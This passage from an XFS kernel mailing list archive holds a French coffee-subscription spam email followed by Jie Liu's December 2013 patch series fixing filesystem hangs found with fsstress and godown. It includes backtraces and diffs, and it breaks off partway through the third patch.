bénéficie de l'offre et j'accepte de recevoir les newsletters de Coffee Box et de ses partenaires avec cette adresse : xfs@oss.sgi.com Remplacer cette adresse par le bon code --> Remplacer '#' par l'URL de la landing --> : http://action.metaffiliation.com/trk.php?mclic=P499F155403B1333554453&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B1350331669&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B1367108885&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B1383886101&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13100663317&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13117440533&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13134217749&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13150994965&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13167772181&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13184549397&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13201326613&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13218103829&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com : http://action.metaffiliation.com/trk.php?mclic=P499F155403B13234881045&urlrv=http%3A%2F%2Fnodes.da9tya523t.com%2Fr%2Fclic-60-784-4572-url-aHR0cHM6Ly93d3cuY29mZmVlLWJveC5mci9jbC9hYm9ubmVtZW50LWRlY291dmVydGU_aWQ9Ng%3Ftrackaff%3D6v3&urlv=f562b6a3cc0a2c0c0724ad838b85be4f&group=netaff_zetrend-CL&ref=netaff_zetrend_CL_6v3&email=xfs@oss.sgi.com Comment ça marche ? 1. Je profite de l'offre 2. Je reÇois ma box chez moi 3. Je dÉguste et dÉcouvre de nouveaux cafÉs Nos engagements Livraison rapide Paiement sécurisé Sans engagements Service client À votre Écoute Site édité par Blue Sugar SAS, RCS de Paris 537 833 980 - 18 rue Pasquier 75008 Paris. Pour pouvoir profiter de tous les avantages de Coffee Box, vous devez souscrire à un abonnement mensuel de 29.90€ tacitement reconductible sans engagement de durée. ========================================== Ce courriel a été envoyé par Coffee Box par Zetrend à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=516a0c2e&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=516a0c2e&ln=fr --b1_786acdd21b606502b40dd17b6a8105a5 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit
      Coffee-Box  
      Découvrez vite l'offre de bienvenue Coffee Box !  
    En cliquant, je bénéficie de l'offre et j'accepte de recevoir
    les newsletters de Coffee Box et de ses partenaires avec cette adresse :

    xfs@oss.sgi.com

      ok
     
    Pour seulement 1 euro
    Recevez chez vous
    15 capsules expresso
    profitez en vite
     
     
      Comment ça marche ?  
     
     
             
    1. Je profite
    de l'offre
      2. Je reÇois
    ma box chez moi
      3. Je dÉguste
    et dÉcouvre
    de nouveaux cafÉs
    Etape 1   Etape 2   Etape 3
     
     
      Nos engagements  
     
     
    icon   Livraison
    rapide
      icon   Paiement
    sécurisé
      icon   Sans
    engagements
      icon   Service client
    À votre Écoute
     
     
     
    Site édité par Blue Sugar SAS, RCS de Paris 537 833 980 - 18 rue Pasquier 75008 Paris.
    Pour pouvoir profiter de tous les avantages de Coffee Box, vous devez souscrire à un abonnement mensuel de 29.90€
    tacitement reconductible sans engagement de durée.
     
    Ce courriel a été envoyé par Coffee Box par Zetrend à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_786acdd21b606502b40dd17b6a8105a5-- From jeff.liu@oracle.com Tue Dec 24 06:48:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 10DC67F92 for ; Tue, 24 Dec 2013 06:48:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E12E3304053 for ; Tue, 24 Dec 2013 04:48:18 -0800 (PST) X-ASG-Debug-ID: 1387889297-04bdf00fdf204770001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ZsAyhDHKaMI10dDI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 04:48:17 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBOCmGil011655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Dec 2013 12:48:17 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmFSt010873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 12:48:15 GMT Received: from ubhmt105.oracle.com (ubhmt105.oracle.com [156.151.24.10]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmFar010862 for ; Tue, 24 Dec 2013 12:48:15 GMT Received: from [192.168.1.105] (/123.119.102.19) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Dec 2013 04:48:14 -0800 Message-ID: <52B9828C.7030202@oracle.com> Date: Tue, 24 Dec 2013 20:48:12 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 0/4] xfs: fsstress/godown bug fixes Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 0/4] xfs: fsstress/godown bug fixes Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1387889297 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, I have observed another hang up when doing fsstress and shutting the file system. The first two patches are manage to fix those issues, and the left are for code clean ups. Please note that, those patches are based on Christoph's previous fix: [PATCH v2] xfs: remove xfsbdstrat error I know that most of our folks are on vacation for the coming holidays, enjoy the happy time, I just posted patches here. Thanks, -Jeff From jeff.liu@oracle.com Tue Dec 24 06:48:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AFCBF7F98 for ; Tue, 24 Dec 2013 06:48:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0B408F8040 for ; Tue, 24 Dec 2013 04:48:27 -0800 (PST) X-ASG-Debug-ID: 1387889306-04cbb041679165e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id PqmF7lte5cQGlqYC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 04:48:26 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBOCmPQC021354 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Dec 2013 12:48:26 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmOha025880 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 12:48:25 GMT Received: from ubhmt102.oracle.com (ubhmt102.oracle.com [156.151.24.7]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmOdA029002 for ; Tue, 24 Dec 2013 12:48:24 GMT Received: from [192.168.1.105] (/123.119.102.19) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Dec 2013 04:48:24 -0800 Message-ID: <52B98295.8050704@oracle.com> Date: Tue, 24 Dec 2013 20:48:21 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 2/4] xfs: always releasing EFD's reference to EFI in xfs_efd_item_committed Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 2/4] xfs: always releasing EFD's reference to EFI in xfs_efd_item_committed Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387889306 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With fsstress+godown test I observed an XFS hang up during umount which yielding a backtrace like below: [20876.193635] INFO: task umount:9853 blocked for more than 120 seconds. [20876.193641] Tainted: PF O 3.13.0-rc2+ #8 [20876.193643] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [20876.193645] umount D ffff88026f294440 0 9853 9372 [20876.193663] Call Trace: [20876.193672] [] schedule+0x29/0x70 [20876.193701] [] xfs_ail_push_all_sync+0xa9/0xe0 [xfs] [20876.193707] [] ? prepare_to_wait_event+0x100/0x100 [20876.193726] [] xfs_unmountfs+0x61/0x150 [xfs] [20876.193746] [] xfs_fs_put_super+0x21/0x60 [xfs] [20876.193751] [] generic_shutdown_super+0x72/0xf0 [20876.193754] [] kill_block_super+0x27/0x70 [20876.193757] [] deactivate_locked_super+0x3d/0x60 [20876.193761] [] deactivate_super+0x46/0x60 [20876.193765] [] mntput_no_expire+0xd6/0x170 [20876.193769] [] SyS_umount+0x8e/0x100 [20876.193774] [] system_call_fastpath+0x1a/0x1f As per above backtraces, the umount process is already scheduled out in xfs_ail_push_all_sync() because it should push out all of pending changes in AIL and wait until the AIL is empty. Then it will wake up xfsaild thread to do the actual flushing business. However, I found that the AIL does not became empty in some situations because of some EFI are still being on it, but in EFI's iop_push operation, we always returning XFS_ITEM_PINNED which leads to the xfsaild thread suffering into an infinite loop. Since EFI items have no locking or pushing, they are pulled from the AIL when their corresponding EFDs are committed to disk, and we have guaranteed that the EFI should not be freed until it has been unppined and the EFD has been committed in commit 666d644cd7, this is done via an EFI reference count by initializing it to 2 in xfs_efi_init() -- one is it's own count which is not released until it is unpinned, the other one is taken by its corresponding EFD which will be released during EFD commit operation. IMHO we should always releasing it's reference to the corresponding EFI item once the EFD item is committed to disk regardless of the log item is marked with XFS_LI_ABORTED flag or not. Signed-off-by: Jie Liu --- fs/xfs/xfs_extfree_item.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index 3680d04..16c0396 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -437,13 +437,7 @@ xfs_efd_item_committed( { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); - /* - * If we got a log I/O error, it's always the case that the LR with the - * EFI got unpinned and freed before the EFD got aborted. - */ - if (!(lip->li_flags & XFS_LI_ABORTED)) - xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); - + xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); xfs_efd_item_free(efdp); return (xfs_lsn_t)-1; } -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 24 06:48:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F34C07F9C for ; Tue, 24 Dec 2013 06:48:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E08178F8040 for ; Tue, 24 Dec 2013 04:48:26 -0800 (PST) X-ASG-Debug-ID: 1387889304-04cb6c537c91f2e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id sp0YZvjjzYFEfuWA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 04:48:25 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBOCmNAS021331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Dec 2013 12:48:24 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmMbL028944 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 12:48:23 GMT Received: from ubhmt104.oracle.com (ubhmt104.oracle.com [156.151.24.9]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmMUv011029 for ; Tue, 24 Dec 2013 12:48:22 GMT Received: from [192.168.1.105] (/123.119.102.19) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Dec 2013 04:48:22 -0800 Message-ID: <52B98292.5040002@oracle.com> Date: Tue, 24 Dec 2013 20:48:18 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387889305 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu I can easily to hit a hang up while running fsstress and shutting down XFS on SSD via the tests below: for ((i=0;i<10;i++)) do echo "[$i] Fire up..." mount /dev/sda7 /xfs fsstress -d /xfs -n 1000 -p 100 >/dev/null 2>&1 & sleep 10 godown /xfs wait killall -q fsstress umount /xfs echo "[$i] Done...." echo done which yielding a backtrace as below: [ 246.268987] INFO: task fsstress:3347 blocked for more than 120 seconds. [ 246.268992] Tainted: PF O 3.13.0-rc2+ #4 [ 246.268994] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 246.268996] fsstress D ffff88026f254440 0 3347 3284 [ 246.269013] Call Trace: [ 246.269022] [] schedule+0x29/0x70 [ 246.269054] [] xlog_cil_force_lsn+0x1cb/0x220 [xfs] [ 246.269059] [] ? wake_up_state+0x20/0x20 [ 246.269064] [] ? do_fsync+0x80/0x80 [ 246.269087] [] _xfs_log_force+0x61/0x270 [xfs] [ 246.269091] [] ? jbd2_log_wait_commit+0x110/0x180 [ 246.269095] [] ? prepare_to_wait_event+0x100/0x100 [ 246.269098] [] ? do_fsync+0x80/0x80 [ 246.269120] [] xfs_log_force+0x26/0x80 [xfs] [ 246.269139] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] [ 246.269143] [] sync_fs_one_sb+0x20/0x30 [ 246.269147] [] iterate_supers+0xb2/0x110 [ 246.269150] [] sys_sync+0x62/0xa0 [ 246.269156] [] system_call_fastpath+0x1a/0x1f [ 266.335154] XFS (sda7): xfs_log_force: error 5 returned. [ 296.400515] XFS (sda7): xfs_log_force: error 5 returned. In xlog_cil_force_lsn(), if the task finds a previous sequence still in committing, it need to wait until all those previously sequence commits to complete, i.e, blocked on cil->xc_commit_wait wait queue. In normal situations, the ctx with a previous sequence will eventually commit and wake up tasks on cil->xc_commit_wait after getting a vaild commit_lsn (see xlog_cil_push()). However, if something wrong during commit, e.g, XLOG_STATE_IOERROR is detected, it will be aborted and the ctx will be just removed from the cil->xc_committing list but we did not wake up the waiting tasks in this case. Hence, there is a race condition will happen as below: Task1 Task2 list_add(&ctx->committing, &cil->xc_committing); xlog_wait(&cil->xc_commit_wait..) schedule()... Aborting!! list_del(&ctx->committing); wake_up_all(&cil->xc_commit_wait); <-- MISSING! As a result, we should handle this situation in xlog_cil_committed(). Signed-off-by: Jie Liu --- fs/xfs/xfs_log_cil.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 5eb51fc..8c7e9c7 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -406,6 +406,8 @@ xlog_cil_committed( spin_lock(&ctx->cil->xc_push_lock); list_del(&ctx->committing); + if (abort) + wake_up_all(&ctx->cil->xc_commit_wait); spin_unlock(&ctx->cil->xc_push_lock); xlog_cil_free_logvec(ctx->lv_chain); -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 24 06:48:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E925C7FA0 for ; Tue, 24 Dec 2013 06:48:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DA3BE304053 for ; Tue, 24 Dec 2013 04:48:32 -0800 (PST) X-ASG-Debug-ID: 1387889311-04cb6c537e91f300001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id RnRNwYMRunRI8atB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 04:48:32 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBOCmUvq011729 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Dec 2013 12:48:31 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmUvm011246 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 12:48:30 GMT Received: from ubhmt109.oracle.com (ubhmt109.oracle.com [156.151.24.14]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmTsX011234 for ; Tue, 24 Dec 2013 12:48:29 GMT Received: from [192.168.1.105] (/123.119.102.19) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Dec 2013 04:48:29 -0800 Message-ID: <52B9829A.10804@oracle.com> Date: Tue, 24 Dec 2013 20:48:26 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 3/4] xfs: simplify xfs_ail_max Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 3/4] xfs: simplify xfs_ail_max Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1387889311 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu We have already simplified xfs_ail_min() with a new list helper, i.e, list_first_entry_or_null(), but xfs_ail_max() still remains as same as there is no corresponding list helper we can use for now. It's fairly easy to simulate the list behavior of getting the last item in the AIL, therefore we can simplify xfs_ail_max() and move it to the header file to make this pair of AIL routines looks symmetrical. Signed-off-by: Jie Liu --- fs/xfs/xfs_trans_ail.c | 14 -------------- fs/xfs/xfs_trans_priv.h | 13 +++++++++++++ 2 files changed, 13 insertions(+), 14 deletions(-) diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index a728735..af605d0 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -62,20 +62,6 @@ xfs_ail_check( #endif /* DEBUG */ /* - * Return a pointer to the last item in the AIL. If the AIL is empty, then - * return NULL. - */ -static xfs_log_item_t * -xfs_ail_max( - struct xfs_ail *ailp) -{ - if (list_empty(&ailp->xa_ail)) - return NULL; - - return list_entry(ailp->xa_ail.prev, xfs_log_item_t, li_ail); -} - -/* * Return a pointer to the item which follows the given item in the AIL. If * the given item is the last item in the list, then return NULL. */ diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h index 12e86af..c564e94 100644 --- a/fs/xfs/xfs_trans_priv.h +++ b/fs/xfs/xfs_trans_priv.h @@ -97,6 +97,19 @@ xfs_ail_min( li_ail); } +/* + * Return a pointer to the last item in the AIL. If the AIL is empty, then + * return NULL. + */ 